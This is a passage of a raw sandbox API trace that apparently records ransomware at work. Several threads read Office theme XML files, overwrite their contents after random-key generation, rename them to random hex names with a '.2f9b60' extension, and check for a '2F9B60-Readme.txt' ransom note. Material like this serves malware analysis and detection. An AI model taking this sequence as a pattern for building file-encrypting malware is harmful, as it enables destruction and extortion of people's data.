lpBuffer=0x41eee130*, lpNumberOfBytesWritten=0x28e0f5f4*=0x3c0, lpOverlapped=0x0) returned 1 [0104.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0104.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0104.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0104.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eee130) returned 1 [0104.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eea520) returned 1 [0104.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0104.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0104.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0104.073] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.073] WriteFile (in: hFile=0x159c, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x28e0f710, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x28e0f710*=0x104, lpOverlapped=0x0) returned 1 [0104.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0104.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0104.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0104.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0104.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0104.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0104.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b8606c0 [0104.213] sprintf (in: _Dest=0x1b8606c0, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606c2, _Format="%c%c" | out: _Dest="96") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606c4, _Format="%c%c" | out: _Dest="44") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606c6, _Format="%c%c" | out: _Dest="79") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606c8, _Format="%c%c" | out: _Dest="b2") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606ca, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606cc, _Format="%c%c" | out: _Dest="a6") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606ce, _Format="%c%c" | out: _Dest="3d") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606d0, _Format="%c%c" | out: _Dest="f4") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606d2, _Format="%c%c" | out: _Dest="57") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606d4, _Format="%c%c" | out: _Dest="44") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606d6, _Format="%c%c" | out: _Dest="38") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606d8, _Format="%c%c" | out: _Dest="1f") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606da, _Format="%c%c" | out: _Dest="54") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606dc, _Format="%c%c" | out: _Dest="9b") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606de, _Format="%c%c" | out: _Dest="85") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606e0, _Format="%c%c" | out: _Dest="85") returned 2 [0104.213] sprintf (in: _Dest=0x1b8606e2, _Format="%c%c" | out: _Dest="c4") returned 2 [0104.214] RtlInitAnsiString (in: DestinationString=0x28e0f788, SourceString="b0964479b2c8a63df45744381f549b8585c4" | out: DestinationString="b0964479b2c8a63df45744381f549b8585c4") [0104.214] RtlAnsiStringToUnicodeString (in: DestinationString=0x28e0f758, SourceString="b0964479b2c8a63df45744381f549b8585c4", AllocateDestinationString=1 | out: DestinationString="b0964479b2c8a63df45744381f549b8585c4") returned 0x0 [0104.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c2b0 [0104.214] wcscat (in: _Dest=0x20501f80, _Source="b0964479b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\b0964479b") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\b0964479b" [0104.214] wcscat (in: _Dest=0x20501f80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\b0964479b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\b0964479b.2f9b60" [0104.214] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\b0964479b.2f9b60", NtPathName=0x28e0f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\b0964479b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118fd0 [0104.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0104.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98df0) returned 1 [0104.713] NtQueryInformationFile (in: FileHandle=0x159c, IoStatusBlock=0x28e0f798, FileInformation=0x28e0f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28e0f798, FileInformation=0x28e0f7a8) returned 0x0 [0104.713] NtSetInformationFile (FileHandle=0x159c, IoStatusBlock=0x28e0f798, FileInformation=0x28e0f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501f80) returned 1 [0104.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c2b0) returned 1 [0104.719] FlushFileBuffers (hFile=0x159c) returned 1 [0104.722] CloseHandle (hObject=0x159c) returned 1 [0104.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279370 [0104.723] wcscpy (in: _Dest=0x20279370, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.723] wcscat (in: _Dest=0x20279370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0104.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7acf80) returned 1 Thread: id = 615 os_tid = 0x1080 [0095.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml")) returned 0x20 [0103.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml", dwFileAttributes=0x20) returned 1 [0103.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1794 [0103.693] GetFileSizeEx (in: hFile=0x1794, lpFileSize=0x2903fe40 | out: lpFileSize=0x2903fe40*=960) returned 1 [0103.693] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.693] ReadFile (in: hFile=0x1794, lpBuffer=0x2903fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2903fe08, lpOverlapped=0x0 | out: lpBuffer=0x2903fdc0*, lpNumberOfBytesRead=0x2903fe08*=0x4, lpOverlapped=0x0) returned 1 [0103.746] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0103.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0103.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0103.746] NtQuerySystemTime (in: CurrentTime=0x2903fd00 | out: CurrentTime=0x2903fd00*=132462177092542000) returned 0x0 [0103.746] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x183b411 [0103.746] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x70598c65 [0103.746] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x80c11fb [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0xc5f870c [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x5c896a81 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x3e7881f5 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x19b4209a [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x1ce77315 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x3b8adcc7 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x6a414c2a [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x32badecf [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x53198d8 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x55924663 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x3b5e6ce6 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x5922f3b8 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x7078ff28 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x39a394ca [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x11736cc1 [0103.747] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x7e93b051 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x7e897067 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x730eb4c7 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x5017b471 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0xf802550 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x7b89192b [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x2bd28f3f [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x2b893f4c [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x503c79bd [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x3899b062 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x52b625f3 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x7b3bd728 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x73692ce3 [0103.748] RtlRandomEx (in: Seed=0x2903fcf0 | out: Seed=0x2903fcf0) returned 0x5bbf706e [0103.762] ReadFile (in: hFile=0x1794, lpBuffer=0x41e9b4e0, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x2903fcf0, lpOverlapped=0x0 | out: lpBuffer=0x41e9b4e0*, lpNumberOfBytesRead=0x2903fcf0*=0x3c0, lpOverlapped=0x0) returned 1 [0103.763] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.763] WriteFile (in: hFile=0x1794, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2903fcf4, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2903fcf4*=0x3c0, lpOverlapped=0x0) returned 1 [0104.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0104.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262750 [0104.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262750) returned 1 [0104.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0104.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9b4e0) returned 1 [0104.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0104.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0104.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262750 [0104.090] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.090] WriteFile (in: hFile=0x1794, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2903fe10, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x2903fe10*=0x104, lpOverlapped=0x0) returned 1 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0104.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0104.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0104.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85fcd0 [0104.231] sprintf (in: _Dest=0x1b85fcd0, _Format="%c%c" | out: _Dest="48") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcd2, _Format="%c%c" | out: _Dest="a9") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcd4, _Format="%c%c" | out: _Dest="a7") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcd6, _Format="%c%c" | out: _Dest="cc") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcd8, _Format="%c%c" | out: _Dest="dc") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcda, _Format="%c%c" | out: _Dest="f8") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcdc, _Format="%c%c" | out: _Dest="96") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcde, _Format="%c%c" | out: _Dest="bf") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fce0, _Format="%c%c" | out: _Dest="53") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fce2, _Format="%c%c" | out: _Dest="90") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fce4, _Format="%c%c" | out: _Dest="4b") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fce6, _Format="%c%c" | out: _Dest="cc") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fce8, _Format="%c%c" | out: _Dest="6c") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcea, _Format="%c%c" | out: _Dest="a7") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcec, _Format="%c%c" | out: _Dest="70") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcee, _Format="%c%c" | out: _Dest="f6") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcf0, _Format="%c%c" | out: _Dest="db") returned 2 [0104.231] sprintf (in: _Dest=0x1b85fcf2, _Format="%c%c" | out: _Dest="33") returned 2 [0104.231] RtlInitAnsiString (in: DestinationString=0x2903fe88, SourceString="48a9a7ccdcf896bf53904bcc6ca770f6db33" | out: DestinationString="48a9a7ccdcf896bf53904bcc6ca770f6db33") [0104.231] RtlAnsiStringToUnicodeString (in: DestinationString=0x2903fe58, SourceString="48a9a7ccdcf896bf53904bcc6ca770f6db33", AllocateDestinationString=1 | out: DestinationString="48a9a7ccdcf896bf53904bcc6ca770f6db33") returned 0x0 [0104.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9ca90 [0104.231] wcscat (in: _Dest=0x20502240, _Source="48a9a7ccd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\48a9a7ccd") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\48a9a7ccd" [0104.232] wcscat (in: _Dest=0x20502240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\48a9a7ccd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\48a9a7ccd.2f9b60" [0104.232] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\48a9a7ccd.2f9b60", NtPathName=0x2903fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\48a9a7ccd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1198c0 [0104.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0104.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050510) returned 1 [0104.709] NtQueryInformationFile (in: FileHandle=0x1794, IoStatusBlock=0x2903fe98, FileInformation=0x2903fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2903fe98, FileInformation=0x2903fea8) returned 0x0 [0104.709] NtSetInformationFile (FileHandle=0x1794, IoStatusBlock=0x2903fe98, FileInformation=0x2903fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502240) returned 1 [0104.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca90) returned 1 [0104.712] FlushFileBuffers (hFile=0x1794) returned 1 [0104.715] CloseHandle (hObject=0x1794) returned 1 [0104.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279370 [0104.716] wcscpy (in: _Dest=0x20279370, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.716] wcscat (in: _Dest=0x20279370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0104.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 Thread: id = 616 os_tid = 0x1084 [0095.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml")) returned 0x20 [0104.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml", dwFileAttributes=0x20) returned 1 [0105.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0105.398] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x2551fd20 | out: lpFileSize=0x2551fd20*=963) returned 1 [0105.398] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.398] ReadFile (in: hFile=0xe50, lpBuffer=0x2551fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2551fce8, lpOverlapped=0x0 | out: lpBuffer=0x2551fca0*, lpNumberOfBytesRead=0x2551fce8*=0x4, lpOverlapped=0x0) returned 1 [0105.404] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0105.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6680 [0105.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6620 [0105.404] NtQuerySystemTime (in: CurrentTime=0x2551fbe0 | out: CurrentTime=0x2551fbe0*=132462177108922000) returned 0x0 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x14e87093 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x255cb700 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x43b474a7 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x5ab75128 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x5b449c6e [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x36b97f66 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x4e21629e [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x23ce5034 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x361f5a7a [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x68572591 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x3d4fcbfc [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x176797ec [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x44fc5797 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x66d58957 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x2296dfcf [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x65318e4 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x679252 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x7b13d96e [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x25940da7 [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x457d562b [0105.405] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x6af0accb [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x607e614e [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x30bb1f7b [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x5ba831a [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x39fab925 [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x33628044 [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x5366d84 [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x495d11a1 [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x377da3d5 [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x4010cffe [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x1f13c9a0 [0105.406] RtlRandomEx (in: Seed=0x2551fbd0 | out: Seed=0x2551fbd0) returned 0x371d283a [0105.418] ReadFile (in: hFile=0xe50, lpBuffer=0x41f35950, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x2551fbd0, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesRead=0x2551fbd0*=0x3c3, lpOverlapped=0x0) returned 1 [0105.418] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.418] WriteFile (in: hFile=0xe50, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x2551fbd4, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x2551fbd4*=0x3c3, lpOverlapped=0x0) returned 1 [0105.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0105.518] 